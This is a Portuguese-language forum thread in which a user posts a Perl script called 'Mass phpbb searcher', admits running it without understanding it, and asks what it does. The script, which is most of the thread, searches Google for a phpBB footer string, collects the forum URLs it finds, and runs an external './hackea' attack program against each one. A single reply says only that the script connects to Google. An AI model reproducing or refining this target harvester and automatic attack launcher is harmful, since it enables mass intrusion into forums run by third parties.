Exploit Ajuda com exploit phpbb

[SaigonX]

Ae galera, to tentando usar um exploit, na verdade eu queria saber oq ele faz, e como fazer ele funcionar.. a uaheuaheua, sim, eu usei ele sem saber oq ele faz.
pra qm quiser analisar o exploit vo deixar o código dele

#!/usr/bin/perl -w

use IO::Socket

$zz=0;

print "\n       -.-.-.Mass phpbb searcher.-.-.-\n";
print "~~~~             coded by jocanor                ~~~~\n";
print "         +++Private, do not distribute+++\n";

print "\n[...] - connecting to google\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.google.com", PeerPort => "80") 
|| die "[E] Unable to Connect to $host\r\n";

print "\n[OK] - conected to google\n\n";
$laterlo=0;
my $requext=$ARGV[0];

$num = "0";
while(1)
{

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.google.com", PeerPort => "80") 
|| die "[E] Unable to Connect to $host\r\n";

$query="\/search?q=\%22Our+users+have+posted+a+total+of+";
$query.=$requext;
$query.="\%22&hl=es&lr=&start=";
$query .=$num;
$query .="&sa=N";

print $socket "GET $query HTTP/1.1\n";
print $socket "Host: www.google.com\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

my $total;

while ($answer = <$socket>)
{	
   $total .=$answer;
}
$adelante=$total;

if($adelante =~ /Resultados\s<b>\d*<\/b>\s/)
{
	$nextlo=$&;
	if($nextlo =~ /\d.*/)
	{
		$nextlo = $&;
		if($nextlo =~/<\/b>/)
		{
			$nextlo=$`;
			#print "$nextlo\n";
		}
	}
}

if ($nextlo == $laterlo)
{
	$requext=$requext+10;
	#print "$requext\n";
	$zz=0;
}

$laterlo = $nextlo;
	
while($total =~ m#(q=related:.*\")#g) 
{

   if($& =~ /q=related:/)
   {
       $temp=$';
       if($temp =~ /\"/)
       {
       $src=$`;
       next if $src =~ m#modules.php#i; 
       next if $src =~ m#\.html#i; 
       next if $src =~ m#\.htm#i; 
       next if $src =~ m#\.asp#i;
       next if $src =~ m#\.to#i;
       next if $src =~ m#\.do#i;
       next if $src =~ m#\.swf#i;
       next if $src =~ m#\%#i;
       if($src=~ m#index.php#)
       {
          $src=$`;
       }

       $linea = "http://$src";
       #print "$linea\n";
       system("./hackea $linea 1 1");
       }

   }
}
#$zz++;
#print "Pagina $zz\n";
$num=$num+10;
}

e aki o print



é isso galera, se alguem puder me ajudar, dizendo oq esse exploit faz e oq ele fez no print.

[MaaxWinchester]

Simplesmente ai diz que ele ta conectado no google :S